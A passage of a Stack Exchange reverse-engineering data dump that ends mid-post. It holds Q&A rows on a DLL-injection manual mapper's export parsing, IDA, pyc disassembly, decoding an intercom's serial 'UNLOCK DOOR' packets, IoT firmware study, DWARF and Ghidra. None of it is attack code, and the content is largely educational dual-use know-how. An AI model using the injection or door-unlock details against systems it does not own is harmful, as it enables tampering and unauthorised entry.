  <row Id="24836" PostTypeId="1" CreationDate="2020-04-26T14:04:50.983" Score="1" ViewCount="277" Body="&lt;p&gt;I'm trying myself at writing a manual mapper, for injection of DLLs into other processes.&lt;/p&gt;&#xA;&lt;p&gt;I've come to the point, where I've written a simple &amp;quot;Hello World&amp;quot; &lt;code&gt;.dll&lt;/code&gt;, that I'm trying to inject into another process.&lt;/p&gt;&#xA;&lt;p&gt;I have run into the problem, that my sample Hello world DLL relies on functions from the &lt;code&gt;user32.dll&lt;/code&gt;, which means that I have to map that one too. The &lt;code&gt;user32.dll&lt;/code&gt; relies in itself on other &lt;code&gt;.dll&lt;/code&gt;, which are among others imported via the API Set schema.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/dqjsa.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/dqjsa.png&quot; alt=&quot;User32dll imports via api set schema&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Take a note of the exact naming of the imported function, that I marked: &lt;code&gt;EventActivityIdControl&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;As it turned out, the functions for this particular API are found in the &lt;code&gt;advapi32.dll&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;If I look at that DLL in CFF explorer, lo and behold there are the correct exports:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/gRFFF.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/gRFFF.png&quot; alt=&quot;advapi32.dll exports the correct functions for the api&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;However, when I manually parse, the &lt;code&gt;advapi32.dll&lt;/code&gt; and look at the exports, I get forwarded exports from &lt;code&gt;ntdll.dll&lt;/code&gt;, with the prefix &lt;code&gt;Etw&lt;/code&gt;, which messes up my string comparisons.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/31WdQ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/31WdQ.png&quot; alt=&quot;Exports of advapi32.dll parsed by my code&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;This prefix seems to be omitted by CFF explorer and other similar software.&lt;/p&gt;&#xA;&lt;p&gt;I cannot find any information about this behaviour/schema. Can anyone explain, why this is or where I can find out more about this?&lt;/p&gt;&#xA;" OwnerUserId="19894" LastEditorUserId="245" LastEditDate="2023-11-04T20:47:58.363" LastActivityDate="2023-11-04T20:49:05.500" Title="advapi32.dll changes name of function during forwarding of exports" Tags="|windows|pe|file-format|dll-injection|api|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24837" PostTypeId="2" ParentId="24836" CreationDate="2020-04-26T14:45:52.237" Score="2" Body="&lt;p&gt;Shortly after posting the question I took a closer look at my code for parsing the exports and came to the realization, that I made an incorrect assumption.&lt;/p&gt;&#xA;&lt;p&gt;In the export directory entries, if a function entry point to the export section, you can find a string there, which depicts the forwarder export name. An example of that is visible in the last screenshot of my original question.&lt;/p&gt;&#xA;&lt;p&gt;I was under the impression, that the name after the dot is also the name of the function as it is exported by the forwarding DLL itself.&lt;/p&gt;&#xA;&lt;p&gt;This is wrong. There is still a valid export name entry in the Export Names Table (EAT), that must be read to accomplish correct import to export name mapping.&lt;/p&gt;&#xA;&lt;p&gt;I hope this explanation helps some other poor soul, that wastes hour on the same wrong assumption.&lt;/p&gt;&#xA;&lt;p&gt;Here is a picture of the mapping from the forwarded function name to the name, that is used to export that forwarded function in the &lt;code&gt;advapi32.dll&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/kSfgV.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/kSfgV.png&quot; alt=&quot;Forwarded function name to exported function name&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;As you can seen the export in the &lt;code&gt;ntdll.dll&lt;/code&gt; has the &lt;code&gt;Etw&lt;/code&gt; prefix, that I was talking about and the named export in the &lt;code&gt;advapi32 dll&lt;/code&gt; does not have this Prefix, which led me to my initial assumption, that CFF explorer was omitting the prefix.&lt;/p&gt;&#xA;" OwnerUserId="19894" LastEditorUserId="245" LastEditDate="2023-11-04T20:49:05.500" LastActivityDate="2023-11-04T20:49:05.500" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24839" PostTypeId="2" ParentId="24834" CreationDate="2020-04-26T17:15:47.767" Score="1" Body="&lt;p&gt;When debugging, IDA uses the actual content of the memory as well as the runtime memory layout and permissions. If the data you loaded into the IDB is not present at runtime, or loaded at a different address/permissions, it will be ignored. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just because you added something to the IDB will not make it appear magically in the debugger, since the OS uses the data from the file on disk and doesn't know anything about IDB. The only exception to this is the &lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idadoc/1331.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;Bochs debugger IDB mode&lt;/a&gt; which does use data from IDB, but it's a pretty limited emulation environment which is not suitable for debugging full executables.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2020-04-26T17:15:47.767" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="24840" PostTypeId="2" ParentId="24835" CreationDate="2020-04-26T17:24:47.343" Score="3" Body="&lt;p&gt;It's possible that the &lt;em&gt;pyc&lt;/em&gt; file is obfuscated/malformed in a way that it trips uncompyle6. Rather than decompiling you can try disassembling the file instead.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;https://docs.python.org/3/library/dis.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;dis&lt;/code&gt;&lt;/a&gt; module can disassemble Python bytecode. You can use it as follows.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import marshal, dis&#xA;&#xA;f = open(&quot;flag.pyc&quot;, &quot;rb&quot;)&#xA;f.seek(16) # Skip 16 byte header (for Python 3.8)&#xA;co = marshal.load(f)&#xA;print(dis.dis(co))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There also exists other Python disassemblers libraries like &lt;a href=&quot;https://github.com/rocky/python-xdis&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;xdis&lt;/code&gt;&lt;/a&gt;. After installing the package (&lt;code&gt;pip install xdis&lt;/code&gt;) you can simply run &lt;code&gt;pydisasm flag.pyc&lt;/code&gt; to disassemble the &lt;em&gt;pyc&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you have figured out the reason it trips uncompyle6, you can remove those parts and re-assemble a corrected &lt;em&gt;pyc&lt;/em&gt; using &lt;a href=&quot;https://github.com/rocky/python-xasm&quot; rel=&quot;nofollow noreferrer&quot;&gt;xasm&lt;/a&gt; which can then be decompiled.&lt;/p&gt;&#xA;" OwnerUserId="1413" LastActivityDate="2020-04-26T17:24:47.343" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="24842" PostTypeId="1" AcceptedAnswerId="24871" CreationDate="2020-04-26T20:28:57.617" Score="1" ViewCount="499" Body="&lt;p&gt;I'm using the following code to get the address of the selected function/variable:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;hightlight = idaapi.get_highlight(idaapi.get_current_viewer())&#xA;screen_ea = idaapi.get_screen_ea()&#xA;ea = idaapi.get_name_ea(screen_ea, name)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It works like a charm except until you meet demangled name in IDA View :( &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, for this line &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text:00406744                 call    KBTickCount(void)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;idaapi.get_name_ea call would never return the proper address, because the real name is ?KBTickCount@@YIJXZ.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that I can just change demangled names representation in IDA Pro, but I'm working on a public plugin and I'm thinking about end users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And I also want to make it work in Pseudocode view, where all names are demangled.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas on how to get the address of the selected function/variable for a particular line?&lt;/p&gt;&#xA;" OwnerUserId="32975" LastActivityDate="2020-04-30T09:12:07.930" Title="IDAPython: idaapi.get_highlight for demangled names" Tags="|ida|idapython|idapro-sdk|ida-plugin|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="24843" PostTypeId="1" AcceptedAnswerId="24855" CreationDate="2020-04-27T12:18:43.623" Score="2" ViewCount="261" Body="&lt;p&gt;I'm trying to reverse engineer the protocol used by a fairly old video intercom. Using a UART logic analyser was able to guess the baud rate, data bits, start/stop bit. It idles at 14v and pulls to GND for 0.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;when I press the same sequence repeatedly of buttons I get the following bytes:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;PREAMBLE (sent when waking up unit):&#xA;0x02 0x16 0x10 0x10 0x10 0x10 0x10 0x10 0x11 0x11 0x18 0x03&#xA;&#xA;VIDEO ON:&#xA;0x02 0x3c 0x31 0x09 0x38 0x25 0x11 0x6f 0x00 0x1e 0x71 0x03 0x02 0x3d 0x11 0x6f 0x00 0x1e 0x31 0x09 0x38 0x25 0x72 0x03&#xA;&#xA;MIC ON:&#xA;0x02 0x4a 0x31 0x09 0x38 0x25 0x11 0x6f 0x00 0x1e 0x7f 0x03 0x02 0x4c 0x11 0x6f 0x00 0x1e 0x31 0x09 0x38 0x25 0x01 0x03&#xA;&#xA;UNLOCK DOOR:&#xA;0x02 0x38 0x31 0x09 0x38 0x25 0x31 0x45 0x11 0x1e 0x74 0x03 0x02 0x3a 0x31 0x09 0x38 0x25 0x11 0x6f 0x00 0x1e 0x6f 0x03&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Does this appear to be a protocol standard of any kind of control system?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&#xA;Here is the best I could understand:&#xA;&lt;a href=&quot;https://docs.google.com/spreadsheets/d/e/2PACX-1vQRyUafqa6CEMd9BOOyAWO4OKGXNKsGLvs6epR5PjqnqBRMbpWOqz2-ij51mFDz4lBUOcVSR7jxK505/pubhtml?gid=1867863786&amp;amp;single=true&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.google.com/spreadsheets/d/e/2PACX-1vQRyUafqa6CEMd9BOOyAWO4OKGXNKsGLvs6epR5PjqnqBRMbpWOqz2-ij51mFDz4lBUOcVSR7jxK505/pubhtml?gid=1867863786&amp;amp;single=true&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems as though the format is as follows:&#xA;BYTE1 = STX&#xA;BYTE2 = COMMAND&#xA;BYTE3,4,5,6 = SRC&#xA;BYTE7,8,9,10 = DST&#xA;BYTE11 = SUM of BYTE2 BYTE10 trimmed to 8-bit&lt;/p&gt;&#xA;" OwnerUserId="32982" LastEditorUserId="32982" LastEditDate="2020-04-28T04:25:24.047" LastActivityDate="2020-04-28T08:35:30.570" Title="Reverse engineering 12-byte serial packets from doorbell" Tags="|serial-communication|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="24844" PostTypeId="1" AcceptedAnswerId="24846" CreationDate="2020-04-27T13:05:38.933" Score="0" ViewCount="104" Body="&lt;p&gt;Hi everyone,&lt;br&gt; I saw this video on youtube as regards as reversing IPTV cameras and finding security vulnerabilities: &lt;a href=&quot;https://www.youtube.com/watch?v=B8DjTcANBx0&quot; rel=&quot;nofollow noreferrer&quot;&gt;Black Hat 2013 - Exploiting Network Surveillance Cameras Like a Hollywood Hacker&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a basic knowledge of C, C++ and Python.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have some other questions related to this field:&lt;br&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;I've seen that the speaker reverses CGI programs, is this the only filetype involved in reversing MIPS?&lt;/li&gt;&#xA;&lt;li&gt;if someone who has a lot of experience could give me some advices on what to do, where to start, books to buy and courses I would be very very grateful;&lt;/li&gt;&#xA;&lt;li&gt;the assembly code that I get disassembling a MIPS binary has something in common as the one I get when disassembling a x86 program? (I thought that I might learn first x86 assembly and then move on learning MIPS assembly since the former is much more covered on the internet and in textbooks);&lt;/li&gt;&#xA;&lt;li&gt;I would like to know if there are ad-hoc crackmes (I can only find some related to x86 and x86_64) for MIPS architecture;&lt;/li&gt;&#xA;&lt;li&gt;are routers and other IoT devices such as IPTV cameras and so on based exclusively on the MIPS architecture? Or there are other architectures as well?&lt;/li&gt;&#xA;&lt;li&gt;what about obfuscated binaries, of course I don't want to rush and everything but I would like to know more;&lt;/li&gt;&#xA;&lt;li&gt;if I decompile a MIPS firmware on my Intel-powered computer and let's say, in the future I buy an AMD-powered computer, the output of the disassembled program will be the same? With output I mean instruction names and so on;&lt;/li&gt;&#xA;&lt;li&gt;I'm not trying to be a script kiddie but, from what I know, when talking about disassembling tools play a fundamental role. I've seen that IDA PRO is a good choice, however going to their webpage their price is just too much for a student, but there are other free alternatives such as Radare; the other night I tried to emulate a router's firmware using QEMU but I failed and I gave up; I hate copying and pasting things because you never learn anything and sometimes it doesn't work; are there some tools (other than Radare and Qemu) that may aid in reversing and disassembling MIPS firmware and related documentation?&lt;/li&gt;&#xA;&lt;li&gt;last but not least, I'm not trying to be the &quot;hollywood hacker&quot; or be the &quot;bad guy&quot;, I'm just trying to expand my knowledge.&lt;/li&gt;&#xA;&lt;/ol&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that these questions might be completely dumb, but everyone has been there. I googled everything I could but there are a lot of things and I always get lost. Just to point out, it's not the first time that I try to do reversing in general but I always get demotivated given how hard it is so I though about asking here and getting some advice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your time and everything!&lt;/p&gt; &#xA;" OwnerDisplayName="user32648" LastActivityDate="2020-04-27T14:24:59.120" Title="Need some help and advices as regards as reverse engineering IoT devices" Tags="|disassembly|assembly|binary-analysis|firmware|mips|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24846" PostTypeId="2" ParentId="24844" CreationDate="2020-04-27T14:17:40.987" Score="0" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;CGI binary files are just regular executables that export functions that can be called from the outside, like a library file. The most common use for CGI is processing data from a web server.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Don't have a particular one. My advice is to take a RE program, loading the code and start reading instructions, looking up the ones you don't know.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;MIPS assembly differs from x86 assembly by quite a bit, but consider it a different programming language. Once you learn the concepts of programming in one language, transforming the knowledge to another language is easier. x86 is what most computers run so it is the most common, also, they can run on a PC without complicated emulations.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Don't know of any, but MIPS is common enough so I'll say that there certainly are.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Many run on MIPS. Many others run on ARM. Other architectures exist. From my own experience, they are pretty rare for this use.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;IPTVs, Routers and the like, especially older ones, have unprotected executables. Don't bother yourself with learning about obfuscators before you can handle plain assembly.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Yes, the disassembler is not affected by the underlying processor. Besides, AMD and Intel are compatible.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Radare2 and Ghidra are good and free alternatives for IDA. Emulating a hardware device requires a lot more than just the binary you have at hand, there are hardware components (peripherals), addresses that need to be properly configured and additional filesystems that may exist.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You don't have to explain your intentions. What you do with the information is your choice and responsibility.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="30213" LastEditorUserId="30213" LastEditDate="2020-04-27T14:24:59.120" LastActivityDate="2020-04-27T14:24:59.120" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24850" PostTypeId="1" CreationDate="2020-04-27T18:48:49.350" Score="0" ViewCount="170" Body="&lt;p&gt;I have an SD card that implements some strange &lt;a href=&quot;https://en.wikipedia.org/wiki/Write_once_read_many&quot; rel=&quot;nofollow noreferrer&quot;&gt;Write-Once-Read-Many&lt;/a&gt; technology that I want to check the firmware of. I'm not new to reverse-engineering, but I've never dumped firmware from an SD card before.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any guidance on where to begin would be appreciated?&lt;/p&gt;&#xA;" OwnerUserId="14864" LastActivityDate="2020-04-27T18:48:49.350" Title="How to dump firmware from an SD card?" Tags="|firmware|firmware-analysis|flash|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="24852" PostTypeId="2" ParentId="24642" CreationDate="2020-04-28T00:14:13.037" Score="1" Body="&lt;p&gt;I'm currently using the newest Frida to tinker around with a Galaxy S4 running Android 5.1 - works just fine for me!&lt;/p&gt;&#xA;" OwnerUserId="23065" LastActivityDate="2020-04-28T00:14:13.037" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24853" PostTypeId="1" CreationDate="2020-04-28T04:37:31.867" Score="1" ViewCount="139" Body="&lt;p&gt;I have a simple code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int main()&#xA;{&#xA;  int a = 4;&#xA;  printf(&quot;%d\n&quot;, a);&#xA;  a = 8;&#xA;  if (a == 8)&#xA;    printf(&quot;%d\n&quot;, a);&#xA;  return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;DIEs for the function and variable:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;1&amp;gt;&amp;lt;32a&amp;gt;: Abbrev Number: 18 (DW_TAG_subprogram)&#xA;    &amp;lt;32b&amp;gt;   DW_AT_external    : 1&#xA;    &amp;lt;32b&amp;gt;   DW_AT_name        : (indirect string, offset: 0x19c): main&#xA;    &amp;lt;32f&amp;gt;   DW_AT_decl_file   : 1&#xA;    &amp;lt;330&amp;gt;   DW_AT_decl_line   : 4&#xA;    &amp;lt;331&amp;gt;   DW_AT_decl_column : 5&#xA;    &amp;lt;332&amp;gt;   DW_AT_type        : &amp;lt;0x63&amp;gt;&#xA;    &amp;lt;336&amp;gt;   DW_AT_low_pc      : 0x4004b2&#xA;    &amp;lt;33e&amp;gt;   DW_AT_high_pc     : 0x4b&#xA;    &amp;lt;346&amp;gt;   DW_AT_frame_base  : 1 byte block: 9c        (DW_OP_call_frame_cfa)&#xA;    &amp;lt;348&amp;gt;   DW_AT_GNU_all_tail_call_sites: 1&#xA; &amp;lt;2&amp;gt;&amp;lt;348&amp;gt;: Abbrev Number: 19 (DW_TAG_variable)&#xA;    &amp;lt;349&amp;gt;   DW_AT_name        : a&#xA;    &amp;lt;34b&amp;gt;   DW_AT_decl_file   : 1&#xA;    &amp;lt;34c&amp;gt;   DW_AT_decl_line   : 6&#xA;    &amp;lt;34d&amp;gt;   DW_AT_decl_column : 7&#xA;    &amp;lt;34e&amp;gt;   DW_AT_type        : &amp;lt;0x63&amp;gt;&#xA;    &amp;lt;352&amp;gt;   DW_AT_location    : 2 byte block: 91 6c     (DW_OP_fbreg: -20)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And objdump output for the same:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00000000004004b2 &amp;lt;main&amp;gt;:&#xA;  4004b2:       55                      push   rbp&#xA;  4004b3:       48 89 e5                mov    rbp,rsp&#xA;  4004b6:       48 83 ec 10             sub    rsp,0x10&#xA;  4004ba:       c7 45 fc 04 00 00 00    mov    DWORD PTR [rbp-0x4],0x4&#xA;  4004c1:       8b 45 fc                mov    eax,DWORD PTR [rbp-0x4]&#xA;  4004c4:       89 c6                   mov    esi,eax&#xA;  4004c6:       bf 84 05 40 00          mov    edi,0x400584&#xA;  4004cb:       b8 00 00 00 00          mov    eax,0x0&#xA;  4004d0:       e8 db fe ff ff          call   4003b0 &amp;lt;printf@plt&amp;gt;&#xA;  4004d5:       c7 45 fc 08 00 00 00    mov    DWORD PTR [rbp-0x4],0x8&#xA;  4004dc:       83 7d fc 08             cmp    DWORD PTR [rbp-0x4],0x8&#xA;  4004e0:       75 14                   jne    4004f6 &amp;lt;main+0x44&amp;gt;&#xA;  4004e2:       8b 45 fc                mov    eax,DWORD PTR [rbp-0x4]&#xA;  4004e5:       89 c6                   mov    esi,eax&#xA;  4004e7:       bf 84 05 40 00          mov    edi,0x400584&#xA;  4004ec:       b8 00 00 00 00          mov    eax,0x0&#xA;  4004f1:       e8 ba fe ff ff          call   4003b0 &amp;lt;printf@plt&amp;gt;&#xA;  4004f6:       b8 00 00 00 00          mov    eax,0x0&#xA;  4004fb:       c9                      leave&#xA;  4004fc:       c3                      ret&#xA;  4004fd:       0f 1f 00                nop    DWORD PTR [rax]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am curious if detecting variable offset from ebp (assuming ebp is stack base and variable is on stack) is possible, by looking at debugging symbols. For e.g. in this case variable &lt;code&gt;a&lt;/code&gt; is present at &lt;code&gt;rbp-0x4&lt;/code&gt;. It looks like tag &lt;code&gt;DW_AT_location&lt;/code&gt; could give me the location information. But, as per the dwarf documentation - 0x91 belongs to &lt;code&gt;DW_OP_fbreg&lt;/code&gt; and 0x6C belongs to &lt;code&gt;DW_AT_const_expr&lt;/code&gt;. I don't really get the meaning of this. I also read that &lt;code&gt;DW_AT_frame_base&lt;/code&gt; gives the frame base of the function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I really appreciate any help.&lt;/p&gt;&#xA;" OwnerUserId="27674" LastEditorUserId="27674" LastEditDate="2020-04-28T21:48:02.430" LastActivityDate="2020-04-28T21:48:02.430" Title="dwarf: variable offset from base" Tags="|binary-analysis|elf|symbols|debugging-symbols|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24854" PostTypeId="2" ParentId="19805" CreationDate="2020-04-28T06:23:50.183" Score="1" Body="&lt;p&gt;I fought a similar error for a while and figured I was naming the disk image as &lt;code&gt;disk.img&lt;/code&gt;. When I renamed it to something else, it worked. In your example, you're naming it to &lt;code&gt;floppy.img&lt;/code&gt;, so you could try something else.&lt;/p&gt;&#xA;&lt;p&gt;It's a bit of a guess, but seems like bochs doesn't like files with reserved words, like disk or floppy.&lt;/p&gt;&#xA;" OwnerUserId="32992" LastEditorUserId="15246" LastEditDate="2022-11-29T07:16:32.887" LastActivityDate="2022-11-29T07:16:32.887" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24855" PostTypeId="2" ParentId="24843" CreationDate="2020-04-28T08:35:30.570" Score="2" Body="&lt;p&gt;Based on how you have laid it out, you look to have it mostly mapped out correctly, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The preamble (control device wake up) would be a general broadcast message to all units on the data bus, (The pull down bus means it can be multi-master) as such it does not need an acknowledge,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other messages follow a command + acknowledge scheme, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The check is a generic sum from the command byte to end of destination,&#xA;(38 + 31 + 09 + 38 + 25 + 31 + 45 + 11 + 1e) = 0x174, cut that down to 1 byte, = 0x74&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would suspect if you power cycle the devices you may also find more commands while the devices handshake with each other (the addresses may not be fixed, but randomly chosen on power up) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/wC3c2.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/wC3c2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="32985" LastActivityDate="2020-04-28T08:35:30.570" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="24857" PostTypeId="1" CreationDate="2020-04-28T16:38:12.777" Score="1" ViewCount="1292" Body="&lt;p&gt;I am using Ghidra and when clicking for example in the decompile window on a specific raw, it change the cursor in the assembly window to the exact location in the assembly. Is there any option to do this using Ghidra scripting ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="30408" LastActivityDate="2020-04-28T22:11:14.173" Title="Ghidra scripting get information from decompile window" Tags="|assembly|c|ghidra|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="24858" PostTypeId="1" AcceptedAnswerId="26881" CreationDate="2020-04-28T19:09:05.943" Score="0" ViewCount="276" Body="&lt;p&gt;I have taken apart an old non-functional Lenovo IdeaCentre (B320) computer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to get the glass touch panel to 'work' (I would consider anything from simply being able to sniff the x,y coordinates to be 'working').&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a single cable coming from the glass, this cable plugs into a module. The module has only one other connection. This connection has four wires and is connected to the motherboard of the computer. The black and red wires are ground and 5V respectively, this I confirmed by powering on the computer and measuring. The remaining two wires are a mystery, they are (for what it's worth) brown and orange.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Following the traces on the module, I can see they are connected to an STM32F102C6 (LQFP48). The two wires are connected to pin 32 (brown) and 33 (orange). I downloaded the datasheet for the MCU, from this I can see pin 32, 33 corresponds to PA11 and PA12 respectively.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PA11 has the alternate function 'USART1_CTS/USB_DM'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PA12 has the alternate function 'USART1_RTS/USB_DP'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did some googling and it seems that CTS and RTS are only used for data flow control, considering there are no other data wires I assumed the USB protocol is the most likely (even though the wire colors are not conventional to USB). I wired up a USB cable and plugged it into my computer and nothing happened (absolutely nothing).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm stuck for ideas now. Could it be performing some kind of communication over the USART pin functions or possibly even some kind of bit-banged protocol over the GPIO's? Perhaps the module is dead and that's why the USB isn't detected by the computer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What further steps could I take to reverse engineer this module?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/eE7wA.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/eE7wA.jpg&quot; alt=&quot;Top side of the module, cable from glass pannel detatched&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/8bwjs.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/8bwjs.jpg&quot; alt=&quot;Under side of the module, STM MCU visible&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="32999" LastActivityDate="2021-01-30T17:20:28.450" Title="Touch screen driver module - Determine comunication protocol" Tags="|protocol|usb|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="24860" PostTypeId="1" CreationDate="2020-04-28T20:57:32.050" Score="0" ViewCount="736" Body="&lt;p&gt;Alright so I have watched extraordinary presentations videos from three different reverse engineers who hacked the Apple SMC Update firmware:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Charlie Miller:&#xA;&lt;a href=&quot;https://www.youtube.com/watch?v=_9ErnoLVxCA&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.youtube.com/watch?v=_9ErnoLVxCA&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alex Ionescu:&#xA;&lt;a href=&quot;https://www.youtube.com/watch?v=nSqpinjjgmg&amp;amp;t=1164s&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.youtube.com/watch?v=nSqpinjjgmg&amp;amp;t=1164s&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ANDREA BARISANI &amp;amp; DANIELE BIANCO:&#xA;&lt;a href=&quot;https://www.youtube.com/watch?v=4MBbMZ6M6Vw&amp;amp;list=PLPvhiAXwrC33Wv1zNC5uy1rrKO1JhlegM&amp;amp;index=6&amp;amp;t=2898s&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.youtube.com/watch?v=4MBbMZ6M6Vw&amp;amp;list=PLPvhiAXwrC33Wv1zNC5uy1rrKO1JhlegM&amp;amp;index=6&amp;amp;t=2898s&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At github you can find the original &quot;.smc&quot; firmware hex file and the extracted converted &quot;.bin&quot; file:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/rajhlinux/smc&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/rajhlinux/smc&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you watch these interesting videos you can see that they all 